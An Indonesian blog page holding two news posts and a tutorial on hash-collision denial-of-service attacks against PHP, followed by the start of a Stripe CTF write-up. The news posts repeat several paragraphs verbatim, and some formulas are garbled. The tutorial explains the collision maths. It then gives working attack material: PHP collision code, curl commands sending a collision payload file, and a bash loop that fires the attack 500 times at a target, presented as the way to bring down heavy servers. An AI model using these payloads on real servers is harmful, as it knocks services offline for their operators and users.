Benda Misterius Jatuh dari Langit Rusia
Jumat, 23 Maret 2012
Posted by M.Rabbani Anugrah
Tag :
Health and News
Pakar antariksa Rusia sedang meneliti sebuah benda misterius yang disebut media setempat sebagai 'potongan UFO'. Apakah benda logam yang jatuh di Siberia itu terkait makhluk asing alias alien?
Pecahan yang cembung di salah satu ujungnya, jatuh di sebuah hutan terpencil di Desa Otradnensky, sekitar 2000 mil dari Moscow, akhir tahun lalu. Penduduk setempat yakin benda metal setinggi 2 meter ini jatuh dari langit. Pemeriksaan awal, ahli yakin pecahan yang mirip tempat sampah besar itu bukan potongan roket atau misil.
Badan Antariksa Rusia, Roscosmos menyatakan benda tersebut tidak berkaitan dengan teknologi antariksa. "Kesimpulan akan kami berikan setelah ada studi menyeluruh terhadap objek tersebut," demikian rilis Roscosmos, seperti dikutip Dailymail. Klik tautan ini untuk melihat bentuk potongan misterius itu.
Kepolisian setempat kini mengamankan benda seberat 200 kilogram itu dari pengunjung yang penasaran. Penduduk juga yakin mendengar suara aneh dari dalam hutan, Desember lalu. Tapi penemu baru melaporkan benda ini ke polisi setempat. Minggu lalu. Kepolisian pun meneruskan temuan ini ke Moscow.
Pecahan yang cembung di salah satu ujungnya, jatuh di sebuah hutan terpencil di Desa Otradnensky, sekitar 2000 mil dari Moscow, akhir tahun lalu. Penduduk setempat yakin benda metal setinggi 2 meter ini jatuh dari langit. Pemeriksaan awal, ahli yakin pecahan yang mirip tempat sampah besar itu bukan potongan roket atau misil.
Badan Antariksa Rusia, Roscosmos menyatakan benda tersebut tidak berkaitan dengan teknologi antariksa. "Kesimpulan akan kami berikan setelah ada studi menyeluruh terhadap objek tersebut," demikian rilis Roscosmos, seperti dikutip Dailymail. Klik tautan ini untuk melihat bentuk potongan misterius itu.
Kepolisian setempat kini mengamankan benda seberat 200 kilogram itu dari pengunjung yang penasaran. Penduduk juga yakin mendengar suara aneh dari dalam hutan, Desember lalu. Tapi penemu baru melaporkan benda ini ke polisi setempat. Minggu lalu. Kepolisian pun meneruskan temuan ini ke Moscow.
Yuri Bornyakov, Kepala SAR Distrik Kuibyshevski, wilayah Novosibirsk mengatakan,"Kami mengukur tingkat radiasi di sekitar objek dan di dalam objek. "Kami tidak menemukan radiasi."
Teori awal yang menyebut benda ini bagian dari roket atau satelit yang diluncurkan dari Kazakhstan, sudah dibantah.
Kepala Departemen Pertahanan Sipil dan Kondisi Darurat Kuibyshevski, Valery Vasiliev, mengatakan potongan ini terbuat dari titanium super kuat.
Seorang petugas kepolisian mengatakan benda tersebut kini di bawah kewenangan badan antariksa Rusia untuk penelitian lebih lanjut. "Anda bisa melihat ke dalam, semua terbuka. Kami diperintah untuk membawa dan menyimpan benda tersebut sehingga kami bawa kemari," kata Sergei Sulein.
Teori awal yang menyebut benda ini bagian dari roket atau satelit yang diluncurkan dari Kazakhstan, sudah dibantah.
Kepala Departemen Pertahanan Sipil dan Kondisi Darurat Kuibyshevski, Valery Vasiliev, mengatakan potongan ini terbuat dari titanium super kuat.
Seorang petugas kepolisian mengatakan benda tersebut kini di bawah kewenangan badan antariksa Rusia untuk penelitian lebih lanjut. "Anda bisa melihat ke dalam, semua terbuka. Kami diperintah untuk membawa dan menyimpan benda tersebut sehingga kami bawa kemari," kata Sergei Sulein.
Hacktivist Lebih Bahaya Dari Penjahat Cyber?
Posted by M.Rabbani Anugrah
Tag :
Computer,
Health and News
Sebuah studi tentang insiden keamanan signifikan menunjukkan, aktivis-peretas atau hacktivist mencuri lebih banyak data dari perusahaan-perusahaan besar ketimbang penjahat cyber sepanjang tahun 2011.
Seperti dilansir BBC, 22 Maret 2012, analisis tahunan mengenai pelanggaran data oleh Verizon mengungkapkan, serangan-serangan bermotif politik oleh hacktivist mengalami peningkatan besar.
Seperti dilansir BBC, 22 Maret 2012, analisis tahunan mengenai pelanggaran data oleh Verizon mengungkapkan, serangan-serangan bermotif politik oleh hacktivist mengalami peningkatan besar.
Verizon menemukan, 58 persen dari total pencurian data pada tahun 2011 dilakukan olehhacktivist. Serangan dari hacktivist disebut lebih sulit ditangani karena strategi serangan mereka juga jauh lebih sulit diprediksi.
Verizon mencatat ada 855 insiden di seluruh dunia di mana sebanyak 174 data telah dicuri. “Aktivitas hacktivist sudah ada sejak beberapa waktu lalu. Tapi pada tahun 2011 mereka lebih banyak mencuri data dari perusahaan,” kata Direktur Penelitian dan Intelijen di Verizon, John Baker.
Serangan hacktivist dipelopori oleh kelompok hacker Anonymous. Para aktivis ini mencetak sejumlah kesuksesan besar dengan membobol situs dan mencuri data dalam jumlah besar dari berbagai perusahaan swasta dan instansi pemerintah.
“Pencurian data menjadi sebuah mekanisme untuk protes politik,” ujar Baker. Ia menambahkan, sulit untuk mengembangkan pertahanan spesifik terhadap serangan-serangan hacktivist karena mereka menggunakan taktik dan teknik yang dirancang khusus untuk tiap-tiap serangan.
Baker mengatakan, serangan oleh hacktivist tidak terlalu umum dijumpai. Tapi sekali mereka menembus pertahanan suatu situs, maka mereka akan menjaring data dalam jumlah besar.
Selain hacktivist, ada kelompok pencuri cyber lainnya yang mencuri data untuk tujuan berbeda. Mereka adalah kelompok penjahat terorganisir yang mencuri data untuk digunakan kembali atau dijual guna melakukan kejahatan lain. Sekitar 35 persen data perusahaan besar bobol dicuri oleh kelompok ini.
Baker menyatakan, penjahat cyber akan terus menjadi ancaman serius untuk perusahaan-perusahaan besar. Pertahanan internet dari perusahaan-perusahaan itu terus-menerus digempur untuk dicari-cari kelemahannya. Serangan-serangan macam ini akhirnya cenderung menjadi oportunis sehingga penjahat cyber memanfaatkan setiap celah dan kelemahan yang mereka temukan.
Oleh karena itu Baker mengingatkan, seluruh perusahaan memiliki pekerjaan rumah besar untuk memastikan jaringan internet mereka aman dari serangan penjahat cyber maupunhacktivist.
Serangan hacktivist dipelopori oleh kelompok hacker Anonymous. Para aktivis ini mencetak sejumlah kesuksesan besar dengan membobol situs dan mencuri data dalam jumlah besar dari berbagai perusahaan swasta dan instansi pemerintah.
“Pencurian data menjadi sebuah mekanisme untuk protes politik,” ujar Baker. Ia menambahkan, sulit untuk mengembangkan pertahanan spesifik terhadap serangan-serangan hacktivist karena mereka menggunakan taktik dan teknik yang dirancang khusus untuk tiap-tiap serangan.
Baker mengatakan, serangan oleh hacktivist tidak terlalu umum dijumpai. Tapi sekali mereka menembus pertahanan suatu situs, maka mereka akan menjaring data dalam jumlah besar.
Selain hacktivist, ada kelompok pencuri cyber lainnya yang mencuri data untuk tujuan berbeda. Mereka adalah kelompok penjahat terorganisir yang mencuri data untuk digunakan kembali atau dijual guna melakukan kejahatan lain. Sekitar 35 persen data perusahaan besar bobol dicuri oleh kelompok ini.
Baker menyatakan, penjahat cyber akan terus menjadi ancaman serius untuk perusahaan-perusahaan besar. Pertahanan internet dari perusahaan-perusahaan itu terus-menerus digempur untuk dicari-cari kelemahannya. Serangan-serangan macam ini akhirnya cenderung menjadi oportunis sehingga penjahat cyber memanfaatkan setiap celah dan kelemahan yang mereka temukan.
Oleh karena itu Baker mengingatkan, seluruh perusahaan memiliki pekerjaan rumah besar untuk memastikan jaringan internet mereka aman dari serangan penjahat cyber maupunhacktivist.
“Kemampuan mendeteksi pelanggaran cyber di berbagai tingkatan masih sangat menyedihkan. Padahal pencurian data dapat menyebabkan kerusakan permanen pada sejumlah perusahaan,” kata Baker.
Download materi ujian sekolah IPS
Kamis, 22 Maret 2012
Posted by M.Rabbani Anugrah
Tag :
Health and News,
Tips And Tricks
Memahami Serangan Hash table Collision Denial of Service
Posted by M.Rabbani Anugrah
Tag :
Computer,
Tips And Tricks
Associative array atau Map
Sebelum berbicara mengenai hash table, kita perlu tahu dulu bahwa associative array (disebut juga map atau dictionary) adalah abstract data type (ADT) yang terdiri dari pasangan kunci dan nilai dan dalam associative array tidak boleh ada kunci yang duplikat atau dobel (nilai boleh dobel, tapi kunci tidak boleh). Kunci ini bertindak seperti halnya nama dari data yang disimpan, sehingga dengan mengasosiasikan suatu data dengan kunci berupa nama atau identifier yang lain, data yang diinginkan bisa diambil dengan mudah dengan menyebutkan kuncinya.
Dalam contoh associative array di atas bila kita ingin tahu produsen mobil ini siapa, kita cukup mencari dengan kunci “make”, maka akan keluar datanya yaitu “Jeep”. Bila kita ingin tahu warna mobil ini apa, kita mencari dengan kunci “color”, maka akan keluar datanya “green”.
Lalu apa hubungannya associative array dengan hash table?
Associative array adalah abstract data type, artinya strutktur data yang masih berupa konsep atau spesifikasi saja. Hash table adalah salah satu (bukan satu-satunya) implementasi dari associative array, artinya hash table ini adalah concrete data type (sudah konkrit bukan lagi abstract/konseptual).
The basic idea of a hash table is that each item that might be stored in the table has a natural location in the table. This natural location can be computed as a function of the item itself. When searching for an item, it is not necessary to go through all the possible locations in the table; instead, you can go directly to the natural location of the item – Data Structures and Algorithms, David J. Eck
Kutipan di atas menggambarkan ide dasar dari hash table dengan baik. Bayangkan bila kita ingin mencari orang yang bernama Agus di sebuah desa yang terdiri dari 100 rumah dan kita harus mencarinya satu per satu dari rumah ke rumah, tentu akan memakan usaha dan waktu yang sangat lama. Hash table menghindari pencarian linear seperti ini. Daripada mencari satu per satu di semua rumah, dengan satu formula matematis tertentu, bisa diketahui bahwa berdasarkan namanya, Agus berada di rumah nomor XX (natural location), sehingga kita cukup mencari di satu rumah saja. Jauh lebih cepat dan efisien bukan?
Fungsi atau formula matematis yang digunakan untuk mencari lokasi data (natural location) dari suatu kunci dalam hash table adalah fungsi hash. Output dari fungsi hash ini disebut dengan hash code. Hash table pada dasarnya adalah sebuah array (setiap elemen array ini disebut dengan bucket), jadi fungsi hash ini akan menghasilkan index array berupa integer, dimana lokasi data disimpan.
Saya sudah membuat gambar animasi di bawah ini untuk memperlihatkan proses memasukkan data dalam hash table yang terdiri dari 6 bucket, data yang dimasukkan adalah nama sebagai key, dan tanggal lahir sebagai datanya.
Dalam gambar animasi di atas tidak terjadi collision, masing-masing data dimasukkan dalam bucket yang berbeda jadi operasi insert bisa dilakukan dengan cepat. Berikutnya kita akan melihat kasus ketika terjadi hash collision, artinya ada lebih dari satu data yang dimasukkan dalam bucket yang sama.
Hash collision
Perhatikan bahwa jumlah kemungkinan kunci sangat banyak, bahkan tak terhingga. Bila kunci adalah nama orang, jumlah kemungkinan nama orang sangat banyak, sedangkan jumlah sel dalam hash table terbatas. Hal ini memungkinkan timbulnya collision, artinya ada 2 atau lebih kunci yang menghasilkan hash code yang sama (berebut dalam satu sel yang sama).
Karena collision tidak mungkin terhindarkan, implementasi hash table harus menentukan apa yang harus dilakukan bila terjadi collision. Salah satu cara yang banyak dipakai adalah dengan mengijinkan lebih dari satu nilai dalam satu lokasi. Umumnya hash table menggunakan struktur data linked list untuk menyimpan lebih dari satu nilai dalam satu lokasi (bucket) yang sama.
Bila data akan dimasukkan ke dalam bucket yang sudah ada isinya (collision terjadi), maka operasinya tidak sesederhana pada kasus bucket kosong. Mari kita perhatikan animasi yang saya buat di bawah ini.
Ketika memasukkan data (insert), pada bucket yang tidak kosong maka perlu dilakukan operasi komparasi kunci untuk melihat apakah kunci yang sama sudah ada di bucket itu atau belum. Bila kunci yang sama ternyata ada di situ, artinya operasi insert berubah menjadi operasi update, yaitu mengubah data yang lama dengan yang baru. Bila kunci yang dimasukkan tidak ada di situ, maka kunci dan data yang dimasukkan akan disimpan di node paling akhir dari bucket tersebut.
Perhatikan sekali lagi animasi di atas.
- Pada saat memasukkan data agus, kondisi bucket no.4 sudah berisi 1 node yaitu john. Sebelum bisa memasukkan data, harus dilakukan komparasi dulu 1x, apakah john==agus yaitu apakah kunci di node pertama dalam bucket tersebut adalah agus? Bila ternyata sama tidak perlu membuat node baru, hanya melakukan update node tersebut dengan data baru.
- Pada saat memasukkan data adi, kondisi bucket no. 4 sudah berisi 2 node yaitu john dan agus. Sebelum bisa memasukkan data, harus dilakukan komparasi dulu 2x, apakah john==adi ? dan apakah agus==adi?
- Pada saat memasukkan data budi, kondisi bucket no. 4 sudah berisi 3 node: john, agus, adi. Sebelum bisa memasukkan data, harus dilakukan komparasi sebanyak 3x, apakah john=budi? , apakah agus=budi? dan apakah adi=budi?
Bisa disimpulkan bahwa bila terjadi collision dan di dalam bucket tersebut sudah berisi n data, untuk melakukan operasi insert sebuah data, diperlukan operasi komparasi maximal n kali. Komparasi maximal n kali terjadi bila data yang akan dimasukkan tidak ada dalam bucket (harus membuat node baru).
Ini artinya ketika terjadi collision, prosesor harus bekerja jauh lebih berat daripada ketika tidak terjadi collision
Normal vs Worst Case
Kita sudah membahas sebelumnya bagaimana prosesor harus bekerja jauh lebih berat ketika terjadi collision daripada ketika tidak terjadi collision. Kita bisa melihat bagaimana bentuk hash table dalam kondisi normal dan ketika terjadi kasus terburuk (worst case) pada gambar di bawah ini.
Gambar di sisi kiri adalah gambar hash table dalam kasus yang normal atau rata-rata. Dalam kasus yang normal, collision memang tidak terhindarkan, namun dalam jumlah yang wajar jadi tidak membahayakan. Namun gambar di sisi kanan adalah kasus terburuk, dimana semua data berkumpul dalam satu bucket yang sama. Kalau yang terjadi adalah kasus terburuk, memang hasilnya benar-benar buruk, yaitu prosesor akan bekerja sangat berat dan berujung pada denial of service (DoS).
Mungkinkah kejadian worst case itu terjadi ? ya mungkin saja, tapi sangat jarang terjadi, kecuali bila memang sengaja untuk melakukan Denial of Service.
Kompleksitas Algoritma
Ketika tidak terjadi collision, usaha yang harus dilakukan prosesor untuk memasukkan 1 data adalah konstan, anggap lah satu, jadi kalau ada n data maka usaha yang harus dilakukan prosesor adalah 1*n, jadi bisa dikatakan kompleksitasnya O(n) atau linear complexity.
Ketika terjadi collision, usaha yang harus dilakukan prosesor untuk memasukkan 1 data ke dalam hash table tergantung dari data yang sudah ada dalam bucket yang sama. Mari kita analisa kasus terburuk dimana n data dengan kunci yang unik (tidak ada yang duplikat) dimasukkan ke dalam hash table dan semuanya berkumpul dalam bucket yang sama.
- Ketika memasukkan data yang pertama, bucket masih kosong, usaha yang harus dilakukan prosesor adalah 1.
- Ketika memasukkan data yang ke-2, bucket berisi 1 node, akibatnya prosesor harus melaukan komparasi 1 kali dan 1 usaha lagi untuk memasukkan data di akhir node, jadi total 2 usaha.
- Ketika memasukkan data yang ke-3, bucket berisi 2 node, akibatnya prosesor harus melakukan komparasi 2 kali dan 1 usaha lagi untuk memasukkan data di akhir node, jadi total 3 usaha.
- Dan seterusnya, data yang ke-n, total usaha adalah n.
Jadi total usaha yang harus dilakukan untuk memasukkan n data adalah 1+2+3+….+n = n * (n+1) / 2. Dalam menilai kompleksitas algoritma, n+1 bisa dianggap n dan 1/2 bisa diabaikan karena kita tidak sedang mengukur secara eksak, kita hanya melihat kompleksitasnya relatif terhadap jumlah input. Jadi bisa dikatakan kompleksitas ketika terjadi worst case adalah n*n atau O(n²) (quadratic complexity), artinya bila jumlah input dinaikkan menjadi 2x lipat, maka usaha atau waktu yang dibutuhkan prosesor naik menjadi 4x lipat.
Perbedaan antara linear O(n) ketika tidak terjadi collision dan quadratic complexity O(n²) dalam situasi worst case sangat signifikan, hal ini bisa dilihat dari grafik di bawah ini.
source: http://recursive-design.com/blog/2010/12/07/comp-sci-101-big-o-notation/
Dalam source code php, hash table diimplementasikan dalam dua file yaitu zend_hash.c dan zend_hash.h. Berikut ini adalah definisi tipe hashtable dan bucket.
Isi utama dari Hashtable adalah arBuckets yaitu array of Bucket. Bucket adalah tempat data disimpan dalam bentuk pasangan (arKey, pData). Bucket juga merupakan node dalam linked list yang memiliki pointer ke Bucket lain di sebelah kanan dan kirinya. Lebih mudahnya bisa dilihat pada gambar di bawah ini.
Skenario dalam gambar di atas adalah memasukkan 6 data dalam urutan K1, K2, K4, K5, K6, K7. K1 dimasukkan dalam bucket no. 1, kemudian diikuti dengan K2 dalam bucket no. m. Berikutnya adalah K4 dimasukkan dalam bucket no.2. Ketika memasukkan K5, ternyata dimasukkan dalam bucket no.1 yang sudah berisi K1 sebelumnya. Jadi K5 dan K1 membentuk linked list dalam bucket no. 1. Begitu juga dengan K6 dan K7 dimasukkan dalam bucket yang sama dengan K2 sehingga membentuk linked list dalam bucket no. m.
Selain dalam arBuckets, juga ada linked list global yang menyimpan semua data dalam hash table. Hashtable menyimpan pointer ke data pertama (pListHead), pointer internal dan pointer ke data terakhir (pListTail).
Key to Bucket
Bagaimana proses mengubah dari key menjadi lokasi bucket dalam hash table? Secara umum prosesnya adalah sebagai berikut:
- hash(key) => hashcode berupa integer
- hashcode diubah menjadi index dari 0-table size dengan cara modulo atau bit masking
Keluaran fungsi hash adalah integer yang berukuran besar, padahal ukuran hash table biasanya tidak besar. Secara default di PHP ukuran hash table adalah 8 bucket sehingga untuk hash table berukuran 8, hashcode harus diubah menjadi nilai integer dari 0 s/d 7.
Cara pertama adalah dengan modulo, suatu integer berapapun besarnya bila di modulo dengan 8, hasilnya pasti antara 0 s/d 7. Cara kedua adalah masking dengan operasi AND. Suatu integer 32 bit, bila di-AND dengan 111, hasilnya adalah semua bit diubah menjadi 0 kecuali bit-1 sampai bit ke-3 yang tetap apa adanya. Hasil dari masking ini adalah integer antara 0 s/d 7. PHP memakai cara yang kedua, yaitu AND masking dengan (nTableSize-1).
PHP membedakan antara key berupa integer dan key berupa string. Bila key adalah integer, maka hashcode adalah key itu sendiri. Bila key adalah string, maka fungsi hash akan mengubahnya menjadi hashcode berupa integer.
Dari proses pengubahan key menjadi lokasi bucket bisa disimpulkan ada 2 kondisi agar terjadi collision:
- Memilih key yang menghasilkan hash code yang sama. Hash code yang sama tentu akan menghasilkan posisi index bucket yang sama setelah dilakukan operasi masking AND.
- Memilih key dengan hash code berbeda namun menghasilkan index bucket yang sama setelah dilakukan masking AND.
Mari kita coba cara yang ke-2 di bawah ini.
Hash Collision dengan Key IntegerGambar di atas adalah eksekusi dari source php dari situs nikic.github.com. Dua kasus tersebut tugas yang dikerjakan sama, yaitu memasukkan angka 0 sebanyak 65536 ke dalam hash table. Hanya saja perbedaannya, kasus pertama disengaja memasukkan 65536 angka 0 tersebut seluruhnya di bucket yang sama (100% collision) , akibatnya prosesor harus bekerja ekstra keras dan dibutuhkan waktu 115 detik untuk menyelesaikan tugasnya. Normalnya hanya dibutuhkan waktu 0.04 detik saja. Sangat signifikan perbedaannya bukan?
Kasus di atas adalah 100% collision dengan cara yang ke-2, yaitu memilih key yang memiliki hash code berbeda namun menghasilkan index bucket yang sama setelah dilakukan masking AND. Mari kita lihat source codenya:
<?php
$size = pow(2, 16); // 16 is just an example, could also be 15 or 17
$startTime = microtime(true);
$array = array();
for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
$array[$key] = 0;
}
$endTime = microtime(true);
echo 'Inserting ', $size, ' evil elements took ', $endTime - $startTime, ' seconds', "\n";
$startTime = microtime(true);
$array = array();
for ($key = 0, $maxKey = $size - 1; $key <= $maxKey; ++$key) {
$array[$key] = 0;
}
$endTime = microtime(true);
echo 'Inserting ', $size, ' good elements took ', $endTime - $startTime, ' seconds', "\n";
?>
Mengapa bisa terjadi 100% collision? Perhatikan tabel di bawah ini.
Karena key berupa integer, maka hash code sama dengan key. Karena size adalah 8, maka bit mask adalah 111 (7 desimal). Key dipilih 0, 8, 16 dan seterusnya kelipatan 8 karena key tersebut dalam binary 3 bit paling bawahnya bernilai 000. Karena 3 bit paling bawah dari key selalu 000, maka ketika dilakukan operasi AND dengan 0111, hasilnya selalu 0. Jadi semua key yang dipilih (0,8,16,24…) menghasilkan index bucket yang sama yaitu bucket 0 sehingga semua data berkumpul di bucket 0 (100% collision).
Hash Collision dengan Key String Perbedaan antara key berupa integer dan string hanya pada hash code yang dihasilkan. PHP 5 menggunakan fungsi hash DJBX33A untuk mengubah string menjadi hashcode berupa integer. Selanjutnya hashcode juga akan dimasking dengan operasi AND. PHP 4 menggunakan fungsi hash yang sedikit berbeda, yaitu DJBX33X, kita akan membahas fungsi ini beserta eksploitasinya di artikel selanjutnya.
Dalam kasus sebelumnya kita bisa dengan mudah memilih key yang menghasilkan 100% collision karena key yang digunakan adalah integer. Dalam kasus tersebut kita memakai cara yang ke-2, yaitu hash code berbeda, namun hasil masking menghasilkan index bucket yang sama. Dalam key berupa string kita akan memakai cara pertama, yaitu memilih key yang menghasilkan hash code yang sama.
Sulit kah mencari key yang menghasilkan hash yang sama? Jangan dibayangkan hash disini adalah cryptographic hash seperti MD5 atau SHA yang memang sudah dirancang untuk sangat sulit mencari dua string dengan hash yang sama. Fungsi hash DJBX33A sangat sederhana, jadi tidak sesulit mencari collision di MD5 atau SHA.
Di bawah ini adalah implementasi fungsi hash DJBX33A dalam php:
static inline ulong zend_inline_hash_func(const char *arKey, uint nKeyLength)
{
register ulong hash = 5381;
/* variant with the hash unrolled eight times */
for (; nKeyLength >= 8; nKeyLength -= 8) {
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
hash = ((hash << 5) + hash) + *arKey++;
}
switch (nKeyLength) {
case 7: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 6: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 5: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 4: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 3: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 2: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */
case 1: hash = ((hash << 5) + hash) + *arKey++; break;
case 0: break;
EMPTY_SWITCH_DEFAULT_CASE()
}
return hash;
}
Walaupun terlihat panjang tapi sebenarnya source di atas adalah bentuk efisiensi saja dengan mengubah perkalian 33 dengan operasi shift left 5 kali ditambah hash satu kali, bentuk yang sederhananya adalah:
hash_t bernstein_hash(const unsigned char *key)
{
hash_t h=5381;
while(*key) h=33*h + *key++;
return h;
}
Mari kita lihat beberapa contoh hash. Dalam fungsi DJBX33A digunakan nilai awal hash 5381. Perlu diingat bahwa kode ascii A,B,C,D adalah 65,66,67,68.
hash(“A”) = 5381×33 + 65 = 5381×331 + 65×330
hash(“AB”) = hash(“A”) x 33 + 66 = 5381×332 + 65×331 + 66×330
hash(“ABC”) = hash(“AB”) x 33 + 67 = 5381×333 + 65×332 + 66×331 + 67×330
hash(“ABCD”) = hash(“ABC”) x 33 + 68 = 5381×334 + 65×333 + 66×332 + 67×331 + 68×330
hash(“AB”) = hash(“A”) x 33 + 66 = 5381×332 + 65×331 + 66×330
hash(“ABC”) = hash(“AB”) x 33 + 67 = 5381×333 + 65×332 + 66×331 + 67×330
hash(“ABCD”) = hash(“ABC”) x 33 + 68 = 5381×334 + 65×333 + 66×332 + 67×331 + 68×330
Dengan kata lain hash dari string S dengan panjang n adalah:
5381×33n+∑ S[i] x 33n-i
5381×33n+∑ S[i] x 33n-i
Dengan formula yang sederhana seperti ini kita bisa dengan mudah mencari beberapa string yang memiliki hash yang sama. Agar lebih sederhana kita gunakan nilai hash awal bukan 5381, tapi 0 saja. Mari kita coba cari dua string terdiri dua karakter diawali dengan huruf A dan huruf C, kita akan mencari huruf keduanya.
hash(“A?”) = hash(“C?”)
65 * 33 + x = 67 * 33 + y
2145 + x = 2211 + y
x – y = 66
65 * 33 + x = 67 * 33 + y
2145 + x = 2211 + y
x – y = 66
Kita sekarang tinggal mencari dua karakter yang selisih kode asciinya adalah 66.
- Bila x=122 (kode ascii ‘z’),y adalah 56 (kode ascii ’8′),maka hash(“Az”)=hash(“C8″)
- Bila x=121 (kode ascii ‘y’),y adalah 55 (kode ascii ’7′),maka hash(“Ay”)=hash(“C7″)
- Bila x=120 (kode ascii ‘x’),y adalah 54 (kode ascii ’6′),maka hash(“Ax”)=hash(“C6″)
- Bila x=119 (kode ascii ‘w’),y adalah 53 (kode ascii ’5′),maka hash(“Aw”)=hash(“C5″)
Kita bisa dengan mudah menemukan banyak collision dengan perhitungan sederhana seperti ini. Tapi selain dengan cara itu, kita bisa lebih jauh lagi mencari collision dengan teknik equivalent substring.
Equivalent Substring Karena fungsi hash DJBX33A sifatnya linear, maka bila diketahui hash(“Aw”)=hash(“C5″), akan berlaku:
- hash(“prefix+Aw”)=hash(“prefix+C5″)
- hash(“Aw+suffix”)=hash(“C5+suffix”)
- hash(“prefix+Aw+suffix”)=hash(“prefix+C5+suffix”)
Dengan cara ini kita bisa mengembangkan collision “Aw” dan “C5″ menjadi ribuan collision lain dengan menambahkan random prefix dan suffix, contohnya:
- hash(“xcvbAw”)=hash(“xcvbC5″)
- hash(“52$$Aw”)=hash(“52$$C5″)
- hash(“Aw889″)=hash(“C5889″)
- hash(“Aw**”)=hash(“C5**”)
- hash(“@@Aw**”)=hash(“@@C5**”)
Mengapa equivalent substring ini berlaku? Kita lihat contoh berikut, bila diketahui hash(“Aw”)=hash(“C5″), sekarang kita coba tambahkan suffix ‘#’, berapakah h(“Aw#”) dan h(“C5#”) ?
- h(“Aw”) = h(“C5″) = y
- h(“Aw#”) = h(“Aw”) * 33 + ascii(‘#’)
- h(“C5#”) = h(“C5″) * 33 + ascii(‘#’)
- h(“Aw#”) = h(“C5#”) = y * 33 + ascii(‘#’)
- h(“Aw”) = h(“C5″) = y
- h(“Aw”) = 5381*33^2 + 65*33 + 119
- h(“C5″) = 5381*33^2 + 67*33 + 53
- h(“#Aw”)=5381*33^3+35*33^2+65*33+119 = 5381*33^3 + 35*33^2 + h(“Aw”) – 5381*33^2
- h(“#C5″)=5381*33^3+35*33^2+67*33+53 = 5381*33^3 + 35*33^2 + h(“C5″) – 5381*33^2
- h(“#Aw”) = h(“#C5″) = 5381*33^3 + 35*33^2 + y – 5381*33^2
Ketika kita mengirimkan request POST ke suatu file PHP, php akan menyiapkan sebuah hash table bernama $_POST untuk menampung parameter yang dikirim via POST request.
Contoh di bawah ini adalah ketika kita mengirim POST request dengan curl, dan mengirimkan dua paramter ABC dan test kemudian isi hash table $_POST di-dump dengan print_r().
root@bt:~# curl http://192.168.7.198/hashcollision/test2.php -d "ABC=123&test=aaa"
Array
(
[ABC] => 123
[test] => aaa
)
Kita bisa membuat prosesor di server bekerja ekstra keras dengan mengirimkan parameter POST yang 100% collision. Dengan teknik equivalent substring kita bisa meng-generate banyak parameter name yang menghasilkan collision. Sebagai contoh bila diketahui hash(“Aw”)=hash(“C5″), maka kita bisa mulai dari “AwAwAw” kemudian melakukan kombinasi dengan mengganti substring “Aw” dengan “C5″:
- AwAwAw
- AwAwC5
- AwC5Aw
- C5AwAw
- AwC5C5
- C5C5C5
Bila kita mengirimkan POST request dengan post data:
“AwAwAw=&AwAwC5&AwC5Aw=&C5AwAw=&AwC5C5=&C5C5C5=”maka 6 parameter post tersebut akan menghasilkan 100% collision. Tentu saja 6 collision saja tidak terasa efeknya, semakin banyak collision yang dikirim dalam satu request POST semakin berat kerja prosesor.
Di internet sudah banyak beredar parameter POST data yang menghasilkan 100% collision. Kita bisa meng-generate sendiri atau mengambil dari internet. Salah satu parameter post di internet adalah http://jrs-s.net/hashcollide.txt yang berisi 65536 parameter post:
POST of Doom
Sekarang kita coba melakukan serangan DoS dengan menggunakan parameter name dari internet. Kita akan menggunakan curl sebagai tools untuk mengirimkan POST request ke target. Parameter post disimpan dalam file hashcollide.txt.
root@bt:~# curl http://192.168.7.198/hashcollision/test2.php -d @hashcollide.txt -v
* About to connect() to 192.168.7.198 port 80 (#0)
* Trying 192.168.7.198... connected
* Connected to 192.168.7.198 (192.168.7.198) port 80 (#0)
> POST /hashcollision/test2.php HTTP/1.1
> User-Agent: curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15
> Host: 192.168.7.198
> Accept: */*
> Content-Length: 1441792
> Content-Type: application/x-www-form-urlencoded
> Expect: 100-continue
>
< HTTP/1.1 100 Continue
Cukup 2 request POST of Doom seperti ini saja prosesor sudah terpakai 100%. Dalam kasus ini dibutuhkan dua request POST karena masing-masing request menghabiskan 50% cpu dari dual core processor.
Dari grafik cpu usage di task manager juga terlihat lonjakan cpu usage, dari tadinya normal menjadi 100% setelah menerima request POST of Doom ini.
Serangan ini berbahaya karena DoS tidak dilakukan dengan menghujani (flooding) server dengan banyak request, tapi dilakukan sedikit request saja yang mengandung parameter post yang 100% collision.
Bila satu atau dua request tidak cukup membuat server target tewas (karena servernya adalah server kelas berat), jangan kuatir kita tinggal menambahkan script yang akan looping melakukan serangan hingga ratusan kali. Sebagai contoh, script bash kecil di bawah ini melakukan serangan sebanyak 500x. #!/bin/bash
for i in `seq 1 500` ; do
(curl -s -d @hashcollide.txt http://targethost/targetpath.php >/dev/null &)
done
Beberapa hari yang lalu stripe membuat permainan wargames CTF (capture the flag). Dari semua 6 level, di tulisan ini saya hanya membahas level 1-5 saja karena level 6 saya belum berhasil menemukan vulnerabilitynya, mungkin next time saya tulis lagi kalau sudah ketemu jawabannya.
Pada intinya di setiap level disediakan aplikasi dan source codenya, kemudian kita harus bisa menyalahgunakan aplikasi tersebut untuk membaca file password. Oke langsung saja mulai dari level 1.
Level 01
Seperti petunjuk di blog stripe, untuk ikut permainan ini kita harus ssh dulu ke level01@ctf.stri.pe dengan password:e9gx26YEb2. Setelah login ssh berhasil, kita disambut dengan petunjuk permainan di level01:
Welcome to the Stripe CTF challenge!
Stripe CTF is a wargame, inspired by SmashTheStack I/O[1].
In /home/level02/.password is the SSH password for the level02
user. Your mission, should you choose to accept it, is to read that
file. You may find the binary /levels/level01 and its source code
/levels/level01.c useful.
We've created a scratch directory for you in /tmp.
There are a total of 6 levels in this CTF; if you're stuck, feel free
